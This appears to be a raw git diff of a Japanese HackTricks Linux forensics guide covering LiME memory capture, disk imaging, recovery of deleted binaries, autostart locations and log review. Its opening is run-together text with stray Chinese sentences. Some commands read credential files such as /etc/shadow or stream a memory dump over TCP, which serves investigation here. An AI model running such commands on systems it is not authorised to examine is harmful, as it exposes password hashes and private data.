を調べてください。USBログ**[**usbrip**](https://github.com/snovvcrash/usbrip) **は、Linuxログファイル(ディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`)を解析してUSBイベント履歴テーブルを作成する、Python 3で書かれた小さなソフトウェアです。使用されたすべてのUSBデバイスを把握することは重要であり、許可されたUSBデバイスのリストを持っていると、そのリストに含まれていないUSBデバイスの使用を見つけるのに役立ちます。インストール**pip3 install usbripusbrip ids download #Download USB ID database**例**usbrip events history #Get USB history of your curent linux machineusbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user#Search for vid and/or pidusbrip ids download #Downlaod databaseusbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid**更多示例和信息请查看github:** [**https://github.com/snovvcrash/usbrip**](https://github.com/snovvcrash/usbrip)**使用**[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) **可轻松构建和自动化工作流程,使用全球最先进的社区工具。**\ -**立即获取访问权限:检查用户帐户和登录活动检查 **_**/etc/passwd**_**、**_**/etc/shadow**_** 和安全日志,查找异常名称或在已知未经授权事件附近创建或使用的帐户。还要检查可能的sudo暴力攻击。**\ -**此外,检查文件如 **_**/etc/sudoers**_** 和 **_**/etc/groups**_**,查看是否给用户授予了意外的特权。**\ -**最后,查找没有密码或易于猜测密码的帐户。检查文件系统在恶意软件调查中分析文件系统结构在调查恶意软件事件时,文件系统的结构是信息的重要来源,可以揭示事件序列和恶意软件的内容。然而,恶意软件作者正在开发技术来阻碍此分析,例如修改文件时间戳或避免使用文件系统进行数据存储。为了对抗这些反取证方法,重要的是:使用工具如Autopsy进行彻底的时间线分析,可视化事件时间线,或使用Sleuth Kit的`mactime`获取详细的时间线数据。检查系统的$PATH中的意外脚本,可能包括攻击者使用的shell或PHP脚本。检查`/dev`中的非典型文件,通常包含特殊文件,但可能包含与恶意软件相关的文件。搜索具有像".. "(点 点 空格)或"..^G"(点 点 控制-G)等名称的隐藏文件或目录,可能隐藏恶意内容。使用命令查找具有root权限的setuid文件: `find / -user root -perm -04000 -print`,这会找到具有提升权限的文件,可能会被攻击者滥用。检查inode表中的删除时间戳,以发现大量文件删除,可能表明存在rootkit或特洛伊木马。在识别一个恶意文件后,检查相邻的inode,因为它们可能被放在一起。检查常见的二进制目录(**_**/bin**_**、**_**/sbin**_**)中最近修改的文件,因为这些文件可能被恶意软件更改。**# List recent files in a directory:ls -laR --sort=time /bin\`\`\`# Sort files in a directory by inode:ls -lai /bin | sort -n\`\`\`**攻撃者は時間を変更してファイルを正規に見せることができますが、inodeを変更することはできません。同じフォルダ内の他のファイルと同じ時間に作成および変更されたことを示すファイルが見つかった場合、inodeが予期しないほど大きい場合、そのファイルのタイムスタンプが変更されたことになります。異なるファイルシステムバージョンのファイルを比較ファイルシステムバージョン比較の要約ファイルシステムバージョンを比較し変更点を特定するために、簡略化された`git diff`コマンドを使用します:新しいファイルを見つけるには、2つのディレクトリを比較します:**git diff --no-index --diff-filter=A path/to/old\_version/ path/to/new\_version/**変更されたコンテンツについては、特定の行を無視して変更点をリストアップします。**git diff --no-index --diff-filter=M path/to/old\_version/ path/to/new\_version/ | grep -E "^\\+" | grep -v "Installed-Time"**削除されたファイルを検出するために:**git diff --no-index --diff-filter=D path/to/old\_version/ path/to/new\_version/**フィルターオプション (`--diff-filter`) は、追加された (`A`)、削除された (`D`)、または変更された (`M`) ファイルなど、特定の変更を絞り込むのに役立ちます。`A`: 追加されたファイル`C`: コピーされたファイル`D`: 削除されたファイル`M`: 変更されたファイル`R`: 名前が変更されたファイル`T`: タイプの変更(例:ファイルからシンボリックリンクへ)`U`: マージされていないファイル`X`: 不明なファイル`B`: 破損したファイル参考文献**[**https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf**](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf)[**https://www.plesk.com/blog/featured/linux-logs-explained/**](https://www.plesk.com/blog/featured/linux-logs-explained/)[**https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203**](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203)**書籍: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides**\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)**を使用して、世界で最も高度なコミュニティツールによって強化されたワークフローを簡単に構築および自動化できます。**\ -**今すぐアクセスしてください:** +## 初期情報収集 + +### 基本情報 + +まず最初に、**USB**に**良く知られたバイナリとライブラリ**が含まれていることが推奨されます(単にUbuntuを取得して、_ /bin_、_ /sbin_、_ /lib_、および _/lib64_のフォルダをコピーできます)。その後、USBをマウントし、環境変数を変更してこれらのバイナリを使用します: +```bash +export PATH=/mnt/usb/bin:/mnt/usb/sbin +export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64 +``` +一度システムを良いものや既知のバイナリを使用するように設定したら、**基本情報の抽出**を開始できます: +```bash +date #Date and time (Clock may be skewed, Might be at a different timezone) +uname -a #OS info +ifconfig -a || ip a #Network interfaces (promiscuous mode?) +ps -ef #Running processes +netstat -anp #Proccess and ports +lsof -V #Open files +netstat -rn; route #Routing table +df; mount #Free space and mounted devices +free #Meam and swap space +w #Who is connected +last -Faiwx #Logins +lsmod #What is loaded +cat /etc/passwd #Unexpected data? +cat /etc/shadow #Unexpected data? +find /directory -type f -mtime -1 -print #Find modified files during the last minute in the directory +``` +#### 疑わしい情報 + +基本情報を取得する際に、次のような奇妙な点をチェックする必要があります: + +- **Rootプロセス** は通常、低いPIDで実行されます。そのため、大きなPIDで実行されているRootプロセスが見つかった場合は疑うべきです +- `/etc/passwd` 内にシェルを持たないユーザーの**登録済みログイン** を確認する +- `/etc/shadow` 内にシェルを持たないユーザーの**パスワードハッシュ** を確認する + +### メモリーダンプ + +実行中のシステムのメモリを取得するには、[**LiME**](https://github.com/504ensicsLabs/LiME) を使用することをお勧めします。\ +**コンパイル** するには、被害者マシンが使用している**同じカーネル** を使用する必要があります。 + +{% hint style="info" %} +被害者マシンに **LiME やその他の何かをインストールすることはできない** ため、それに多くの変更を加えてしまいます +{% endhint %} + +したがって、Ubuntuの同一バージョンがある場合は、`apt-get install lime-forensics-dkms` を使用できます\ +それ以外の場合は、[**LiME**](https://github.com/504ensicsLabs/LiME) をgithubからダウンロードし、正しいカーネルヘッダーを使用してコンパイルする必要があります。被害者マシンの**正確なカーネルヘッダー** を取得するには、単にディレクトリ `/lib/modules/` をあなたのマシンにコピーし、それを使用して LiME を**コンパイル** します: +```bash +make -C /lib/modules//build M=$PWD +sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime" +``` +LiMEは3つの**フォーマット**をサポートしています: + +* Raw(すべてのセグメントが連結されたもの) +* Padded(Rawと同じですが、右ビットにゼロが入っています) +* Lime(メタデータ付きの推奨フォーマット) + +LiMEはまた、`path=tcp:4444`のような方法を使用して、**ダンプをネットワーク経由で送信**するためにも使用できます。 + +### ディスクイメージング + +#### シャットダウン + +まず第一に、**システムをシャットダウンする必要があります**。これは常に選択肢というわけではありません。ときには、システムが企業がシャットダウンする余裕のない本番サーバーであることがあります。\ +システムをシャットダウンする方法には、**通常のシャットダウン**と**「プラグを抜く」シャットダウン**の2つがあります。最初の方法は、**プロセスが通常通り終了**し、**ファイルシステム**が**同期**されることを可能にしますが、**悪意のあるソフトウェア**が**証拠を破壊**する可能性もあります。"プラグを抜く"アプローチは、**いくらかの情報損失**を伴うかもしれません(メモリのイメージをすでに取っているので、失われる情報はほとんどありません)が、**マルウェアはそれについて何もできません**。したがって、**マルウェア**がある可能性がある場合は、システムで**`sync`** **コマンド**を実行してプラグを抜いてください。 + +#### ディスクのイメージを取得する + +**ケースに関連する何かにコンピュータを接続する前に**、情報を変更しないように**読み取り専用でマウント**されることを確認する必要があります。 +```bash +#Create a raw copy of the disk +dd if= of= bs=512 + +#Raw copy with hashes along the way (more secure as it checks hashes while it's copying the data) +dcfldd if= of= bs=512 hash= hashwindow= hashlog= +dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes +``` +### ディスクイメージの事前分析 + +データがない状態でディスクイメージを作成します。 +```bash +#Find out if it's a disk image using "file" command +file disk.img +disk.img: Linux rev 1.0 ext4 filesystem data, UUID=59e7a736-9c90-4fab-ae35-1d6a28e5de27 (extents) (64bit) (large files) (huge files) + +#Check which type of disk image it's +img_stat -t evidence.img +raw +#You can list supported types with +img_stat -i list +Supported image format types: +raw (Single or split raw file (dd)) +aff (Advanced Forensic Format) +afd (AFF Multiple File) +afm (AFF with external metadata) +afflib (All AFFLIB image formats (including beta ones)) +ewf (Expert Witness Format (EnCase)) + +#Data of the image +fsstat -i raw -f ext4 disk.img +FILE SYSTEM INFORMATION +-------------------------------------------- +File System Type: Ext4 +Volume Name: +Volume ID: 162850f203fd75afab4f1e4736a7e776 + +Last Written at: 2020-02-06 06:22:48 (UTC) +Last Checked at: 2020-02-06 06:15:09 (UTC) + +Last Mounted at: 2020-02-06 06:15:18 (UTC) +Unmounted properly +Last mounted on: /mnt/disk0 + +Source OS: Linux +[...] + +#ls inside the image +fls -i raw -f ext4 disk.img +d/d 11: lost+found +d/d 12: Documents +d/d 8193: folder1 +d/d 8194: folder2 +V/V 65537: $OrphanFiles + +#ls inside folder +fls -i raw -f ext4 disk.img 12 +r/r 16: secret.txt + +#cat file inside image +icat -i raw -f ext4 disk.img 16 +ThisisTheMasterSecret +``` + + +\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスしてください: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + +## 既知のマルウェアを検索 + +### 変更されたシステムファイル + +Linuxには、潜在的に問題のあるファイルを見つけるために重要なシステムコンポーネントの整合性を確認するためのツールが用意されています。 + +* **RedHatベースのシステム**: 総合的なチェックには `rpm -Va` を使用します。 +* **Debianベースのシステム**: 初期検証には `dpkg --verify` を使用し、その後 `debsums | grep -v "OK$"`(`apt-get install debsums` を使用して `debsums` をインストールした後)を使用して問題を特定します。 + +### マルウェア/ルートキット検出ツール + +マルウェアを見つけるのに役立つツールについて学ぶには、以下のページを参照してください: + +{% content-ref url="malware-analysis.md" %} +[malware-analysis.md](malware-analysis.md) +{% endcontent-ref %} + +## インストールされたプログラムを検索 + +DebianとRedHatの両方のシステムでインストールされたプログラムを効果的に検索するには、システムログやデータベースを活用し、一般的なディレクトリでの手動チェックを検討してください。 + +* Debianの場合、パッケージのインストールに関する詳細情報を取得するには、_**`/var/lib/dpkg/status`**_ と _**`/var/log/dpkg.log`**_ を調査し、`grep` を使用して特定の情報をフィルタリングします。 +* RedHatユーザーは、`rpm -qa --root=/mntpath/var/lib/rpm` を使用してRPMデータベースをクエリし、インストールされたパッケージをリストアップできます。 + +これらのパッケージマネージャーの外で手動でインストールされたソフトウェアや、それら以外のディレクトリ(_**`/usr/local`**_、_**`/opt`**_、_**`/usr/sbin`**_、_**`/usr/bin`**_、_**`/bin`**_、_**`/sbin`**_)を探索して、既知のパッケージに関連付けられていない実行可能ファイルを特定するために、ディレクトリリストとシステム固有のコマンドを組み合わせて、すべてのインストールされたプログラムを検索を強化してください。 +```bash +# Debian package and log details +cat /var/lib/dpkg/status | grep -E "Package:|Status:" +cat /var/log/dpkg.log | grep installed +# RedHat RPM database query +rpm -qa --root=/mntpath/var/lib/rpm +# Listing directories for manual installations +ls /usr/sbin /usr/bin /bin /sbin +# Identifying non-package executables (Debian) +find /sbin/ -exec dpkg -S {} \; | grep "no path found" +# Identifying non-package executables (RedHat) +find /sbin/ –exec rpm -qf {} \; | grep "is not" +# Find exacuable files +find / -type f -executable | grep +``` + + +\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も**高度な**コミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\ +今すぐアクセスしてください: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} + +## 削除された実行中のバイナリの回復 + +/tmp/exec から実行され、その後削除されたプロセスを想像してください。それを抽出することが可能です +```bash +cd /proc/3746/ #PID with the exec file deleted +head -1 maps #Get address of the file. It was 08048000-08049000 +dd if=mem bs=1 skip=08048000 count=1000 of=/tmp/exec2 #Recorver it +``` +## Autostart の場所を調査する + +### スケジュールされたタスク +```bash +cat /var/spool/cron/crontabs/* \ +/var/spool/cron/atjobs \ +/var/spool/anacron \ +/etc/cron* \ +/etc/at* \ +/etc/anacrontab \ +/etc/incron.d/* \ +/var/spool/incron/* \ + +#MacOS +ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/ +``` +### サービス + +マルウェアがサービスとしてインストールされる可能性のあるパス: + +- **/etc/inittab**:rc.sysinitなどの初期化スクリプトを呼び出し、さらに起動スクリプトに誘導します。 +- **/etc/rc.d/** および **/etc/rc.boot/**:サービスの起動スクリプトが含まれており、後者は古いLinuxバージョンに見られます。 +- **/etc/init.d/**:Debianなどの特定のLinuxバージョンで使用され、起動スクリプトを格納します。 +- サービスは、Linuxのバリアントに応じて **/etc/inetd.conf** または **/etc/xinetd/** からも起動される可能性があります。 +- **/etc/systemd/system**:システムおよびサービスマネージャースクリプト用のディレクトリ。 +- **/etc/systemd/system/multi-user.target.wants/**:マルチユーザーランレベルで起動する必要があるサービスへのリンクが含まれています。 +- **/usr/local/etc/rc.d/**:カスタムまたはサードパーティのサービス用。 +- **\~/.config/autostart/**:ユーザー固有の自動起動アプリケーション用であり、ユーザーを標的としたマルウェアの隠れた場所となる可能性があります。 +- **/lib/systemd/system/**:インストールされたパッケージによって提供されるシステム全体のデフォルトユニットファイル。 + +### カーネルモジュール + +マルウェアによってルートキットコンポーネントとしてよく使用されるLinuxカーネルモジュールは、システム起動時にロードされます。これらのモジュールにとって重要なディレクトリとファイルは次のとおりです: + +- **/lib/modules/$(uname -r)**:実行中のカーネルバージョン用のモジュールを保持します。 +- **/etc/modprobe.d**:モジュールのロードを制御する構成ファイルが含まれています。 +- **/etc/modprobe** および **/etc/modprobe.conf**:グローバルモジュール設定用のファイル。 + +### その他の自動起動場所 + +Linuxは、ユーザーログイン時にプログラムを自動的に実行するためにさまざまなファイルを使用し、潜在的にマルウェアを隠す可能性があります: + +- **/etc/profile.d/**\*、**/etc/profile**、および **/etc/bash.bashrc**:すべてのユーザーログイン時に実行されます。 +- **\~/.bashrc**、**\~/.bash\_profile**、**\~/.profile**、および **\~/.config/autostart**:ユーザー固有のファイルで、ユーザーのログイン時に実行されます。 +- **/etc/rc.local**:すべてのシステムサービスが起動した後に実行され、マルチユーザー環境への移行の終了を示します。 + +## ログの調査 + +Linuxシステムは、さまざまなログファイルを介してユーザーのアクティビティやシステムイベントを追跡します。これらのログは、不正アクセス、マルウェア感染、およびその他のセキュリティインシデントを特定するために重要です。主要なログファイルには次のものがあります: + +- **/var/log/syslog**(Debian)または **/var/log/messages**(RedHat):システム全体のメッセージとアクティビティをキャプチャします。 +- **/var/log/auth.log**(Debian)または **/var/log/secure**(RedHat):認証試行、成功および失敗したログインを記録します。 +- `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` を使用して関連する認証イベントをフィルタリングします。 +- **/var/log/boot.log**:システムの起動メッセージが含まれています。 +- **/var/log/maillog** または **/var/log/mail.log**:メールサーバーのアクティビティを記録し、メール関連サービスの追跡に役立ちます。 +- **/var/log/kern.log**:エラーや警告を含むカーネルメッセージを保存します。 +- **/var/log/dmesg**:デバイスドライバーメッセージを保持します。 +- **/var/log/faillog**:失敗したログイン試行を記録し、セキュリティ侵害の調査に役立ちます。 +- **/var/log/cron**:cronジョブの実行を記録します。 +- **/var/log/daemon.log**:バックグラウンドサービスのアクティビティを追跡します。 +- **/var/log/btmp**:失敗したログイン試行を文書化します。 +- **/var/log/httpd/**:Apache HTTPDのエラーおよびアクセスログが含まれています。 +- **/var/log/mysqld.log** または **/var/log/mysql.log**:MySQLデータベースのアクティビティを記録します。 +- **/var/log/xferlog**:FTPファイル転送を記録します。 +- **/var/log/**:予期しないログがないか常に確認してください。 + +{% hint style="info" %} +Linuxシステムのログと監査サブシステムは、侵害やマルウェアのインシデントで無効化または削除される可能性があります。Linuxシステムのログは一般的に悪意のある活動に関する最も有用な情報のいくつかを含んでいるため、侵入者はそれらを定期的に削除します。したがって、利用可能なログファイルを調査する際には、削除や改ざんの兆候となる欠落や順序の逆転を探すことが重要です。 +{% endhint %} + +**Linuxは各ユーザーのコマンド履歴を維持**しており、以下に保存されています: + +- \~/.bash\_history +- \~/.zsh\_history +- \~/.zsh\_sessions/\* +- \~/.python\_history +- \~/.\*\_history + +さらに、`last -Faiwx` コマンドはユーザーログインのリストを提供します。未知のまたは予期しないログインがあるかどうかを確認してください。 + +追加の特権を付与できるファイルを確認してください: + +- 予期しないユーザー特権が付与されている可能性がある場合は、`/etc/sudoers` を確認してください。 +- 予期しないユーザー特権が付与されている可能性がある場合は、`/etc/sudoers.d/` を確認してください。 +- 異常なグループメンバーシップや権限を特定するには、`/etc/groups` を調べてください。 +- 異常なグループメンバーシップや権限を特定するには、`/etc/passwd` を調べてください。 + +一部のアプリケーションは独自のログを生成する場合があります: + +- **SSH**:_\~/.ssh/authorized\_keys_ および _\~/.ssh/known\_hosts_ を調べて、不正なリモート接続を確認してください。 +- **Gnomeデスクトップ**:Gnomeアプリケーションを介して最近アクセスされたファイルを示す _\~/.recently-used.xbel_ を調べてください。 +- **Firefox/Chrome**:怪しい活動を示すために _\~/.mozilla/firefox_ または _\~/.config/google-chrome_ でブラウザの履歴とダウンロードを確認してください。 +- **VIM**:アクセスされたファイルパスや検索履歴などの使用詳細を示す _\~/.viminfo_ を確認してください。 +- **Open Office**:侵害されたファイルを示す可能性のある最近のドキュメントアクセスを確認してください。 +- **FTP/SFTP**:不正なファイル転送を示す _\~/.ftp\_history_ または _\~/.sftp\_history_ のログを調査してください。 +- **MySQL**:実行されたMySQLクエリを示す _\~/.mysql\_history_ を調査して、不正なデータベースアクティビティを明らかにしてください。 +- **Less**:表示されたファイルや実行されたコマンドなどの使用履歴を分析する _\~/.lesshst_ を確認してください。 +- **Git**:リポジトリへの変更を示す _\~/.gitconfig_ およびプロジェクト _.git/logs_ を調べてください。 + +### USBログ + +[**usbrip**](https://github.com/snovvcrash/usbrip) は、USBイベント履歴テーブルを構築するためにLinuxログファイル(ディストリビューションに応じて `/var/log/syslog*` または `/var/log/messages*`)を解析する、Python 3で書かれた小さなソフトウェアです。 + +**使用されたすべてのUSBデバイスを把握すること** は興味深いことであり、許可されたUSBデバイスのリストを持っていると、そのリストに含まれていないUSBデバイスの使用を見つけるのに役立ちます。 + +### インストール +```bash +pip3 install usbrip +usbrip ids download #Download USB ID database +``` +### 例えば +```bash +usbrip events history #Get USB history of your curent linux machine +usbrip events history --pid 0002 --vid 0e0f --user kali #Search by pid OR vid OR user +#Search for vid and/or pid +usbrip ids download #Downlaod database +usbrip ids search --pid 0002 --vid 0e0f #Search for pid AND vid +``` +## ユーザーアカウントとログオンアクティビティのレビュー + +不審な名前やアカウント、または既知の不正イベントに近接して作成または使用されたアカウントを確認するために、_**/etc/passwd**_、_**/etc/shadow**_、および**セキュリティログ**を調査します。また、可能なsudoブルートフォース攻撃をチェックします。\ +さらに、ユーザーに与えられた予期しない特権を確認するために、_**/etc/sudoers**_や_**/etc/groups**_などのファイルをチェックします。\ +最後に、**パスワードのないアカウント**や**簡単に推測できるパスワード**を持つアカウントを探します。 + +## ファイルシステムの調査 + +### マルウェア調査におけるファイルシステム構造の分析 + +マルウェアインシデントを調査する際、ファイルシステムの構造は情報の重要な源であり、イベントの順序とマルウェアの内容を明らかにします。ただし、マルウェアの作者は、ファイルのタイムスタンプを変更したり、データ保存のためにファイルシステムを回避したりするなど、この分析を妨げる技術を開発しています。 + +これらのアンチフォレンジック手法に対抗するためには、次のことが重要です: + +* **Autopsy**などのツールを使用して**詳細なタイムラインデータ**を取得するために**Sleuth Kit**の`mactime`を使用して**徹底的なタイムライン分析**を実施します。 +* 攻撃者が使用するシェルやPHPスクリプトを含む、システムの$PATHに**予期しないスクリプト**を調査します。 +* 通常は特殊ファイルを含むはずの**/dev**を**非典型的なファイル**を探しますが、マルウェア関連のファイルが格納されている可能性があります。 +* ".. "(ドットドットスペース)や"..^G"(ドットドットコントロール-G)などの名前の**隠しファイルやディレクトリ**を検索します。これには悪意のあるコンテンツが隠されている可能性があります。 +* `find / -user root -perm -04000 -print`コマンドを使用して、**setuid rootファイル**を特定します。これにより、攻撃者に悪用される可能性のある権限の昇格ファイルが見つかります。 +* inodeテーブル内の**削除タイムスタンプ**を確認して、ルートキットやトロイの存在を示す可能性のある大量のファイル削除を検出します。 +* 1つを特定した後、隣接する悪意のあるファイルを見つけるために**連続したinode**を調査します。 +* 最近変更されたファイルを含む**一般的なバイナリディレクトリ**(_/bin_、_/sbin_)をチェックします。これらはマルウェアによって変更されている可能性があります。 +````bash +# List recent files in a directory: +ls -laR --sort=time /bin``` + +# Sort files in a directory by inode: +ls -lai /bin | sort -n``` +```` +{% hint style="info" %} +**攻撃者**が**ファイルを見せかける**ために**時間を変更**できることに注意してくださいが、**inode**を変更することはできません。同じフォルダ内の他のファイルと同じ時間に作成および変更されたと示す**ファイル**が見つかった場合、**inode**が予期せず大きい場合、その**ファイルのタイムスタンプが変更された**ことになります。 +{% endhint %} + +## 異なるファイルシステムバージョンのファイルを比較する + +### ファイルシステムバージョン比較の要約 + +変更点を特定するためにファイルシステムバージョンを比較するには、簡略化された`git diff`コマンドを使用します: + +* **新しいファイルを見つける**には、2つのディレクトリを比較します: +```bash +git diff --no-index --diff-filter=A path/to/old_version/ path/to/new_version/ +``` +* **変更されたコンテンツ**については、特定の行を無視して変更点をリストアップします。 +```bash +git diff --no-index --diff-filter=M path/to/old_version/ path/to/new_version/ | grep -E "^\+" | grep -v "Installed-Time" +``` +* **削除されたファイルを検出するために**: +```bash +git diff --no-index --diff-filter=D path/to/old_version/ path/to/new_version/ +``` +* **フィルターオプション** (`--diff-filter`) は、追加された (`A`)、削除された (`D`)、または変更された (`M`) ファイルなど、特定の変更を絞り込むのに役立ちます。 +* `A`: 追加されたファイル +* `C`: コピーされたファイル +* `D`: 削除されたファイル +* `M`: 変更されたファイル +* `R`: 名前が変更されたファイル +* `T`: タイプの変更 (例: ファイルからシンボリックリンクへ) +* `U`: マージされていないファイル +* `X`: 不明なファイル +* `B`: 破損したファイル + +## 参考文献 + +* [https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf](https://cdn.ttgtmedia.com/rms/security/Malware%20Forensics%20Field%20Guide%20for%20Linux%20Systems\_Ch3.pdf) +* [https://www.plesk.com/blog/featured/linux-logs-explained/](https://www.plesk.com/blog/featured/linux-logs-explained/) +* [https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203](https://git-scm.com/docs/git-diff#Documentation/git-diff.txt---diff-filterACDMRTUXB82308203) +* **書籍: Malware Forensics Field Guide for Linux Systems: Digital Forensics Field Guides** + + + +ゼロからヒーローまでAWSハッキングを学ぶ htARTE (HackTricks AWS Red Team Expert)! + +**サイバーセキュリティ企業**で働いていますか? **HackTricks で企業を宣伝**してみたいですか?または、**PEASS の最新バージョンにアクセス**したいですか、または HackTricks を **PDF でダウンロード**したいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください! + +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを入手 +* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com) を手に入れる +* **💬** [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォロー**してください。 + +**ハッキングトリックを共有するには、** [**hacktricks リポジトリ**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud リポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **に PR を提出してください。** + + + + + +\ +[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築**および **自動化** できます。\ +今すぐアクセスしてください: + +{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} diff --git a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md index ad2d84c09..93469e80a 100644 --- a/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md +++ b/generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/README.md @@ -2,48 +2,68 @@ -htARTE(HackTricks AWS Red Team Expert) でAWSハッキングをゼロからヒーローまで学ぶ! +htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ ! -* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**してみたいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください -* [**公式PEASS&HackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう -* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出して、あなたのハッキングトリックを共有してください。 +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか?または**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFT](https://opensea.io/collection/the-peass-family)のコレクションを入手 +* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手 +* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローする 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。** +* **ハッキングトリックを共有するには、**[**hacktricksリポジトリ**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloudリポジトリ**](https://github.com/carlospolop/hacktricks-cloud) **にPRを提出してください。** -[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**でも最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。 +[**RootedCON**](https://www.rootedcon.com/)は**スペイン**で最も関連性の高いサイバーセキュリティイベントであり、**ヨーロッパ**で最も重要なイベントの1つです。**技術知識の促進を使命**とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。 {% embed url="https://www.rootedcon.com/" %} ## 開始 -pcap内で**マルウェア**を検索を開始します。[**マルウェア分析**](../malware-analysis.md)で言及されている**ツール**を使用します。 +pcap内の**マルウェア**を検索してください。[**マルウェア解析**](../malware-analysis.md)で言及されている**ツール**を使用してください。 -## [Volatility](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md) +## [Volatility](volatility-cheatsheet.md) -**Volatilityはメモリーダンプ解析のための主要なオープンソースフレームワーク**です。このPythonツールは、外部ソースまたはVMware VMからのダンプを分析し、ダンプのOSプロファイルに基づいてプロセスやパスワードなどのデータを識別します。プラグインで拡張可能であり、法医学調査に非常に適しています。 +**Volatilityはメモリーダンプ解析の主要なオープンソースフレームワーク**です。このPythonツールは、外部ソースまたはVMware VMからのダンプを分析し、ダンプのOSプロファイルに基づいてプロセスやパスワードなどのデータを識別します。プラグインで拡張可能であり、法医学調査に非常に適しています。 -**[こちらでチートシートを見つける](../../../generic-methodologies-and-resources/basic-forensic-methodology/memory-dump-analysis/volatility-cheatsheet.md)** +[**こちらでチートシートを見つける**](volatility-cheatsheet.md) ## ミニダンプクラッシュレポート ダンプが小さい場合(数KB、おそらく数MB)、それはおそらくミニダンプクラッシュレポートであり、メモリーダンプではありません。 -![](<../../../.gitbook/assets/image (216).png>) +![](<../../../.gitbook/assets/image (532).png>) Visual Studioがインストールされている場合、このファイルを開いてプロセス名、アーキテクチャ、例外情報、実行されているモジュールなどの基本情報をバインドできます。 -![](<../../../.gitbook/assets/image (217).png>) +![](<../../../.gitbook/assets/image (263).png>) -例外をロードして、逆コンパイルされた命令を表示することもできます。 +例外をロードして、逆コンパイルされた命令を表示することもできます 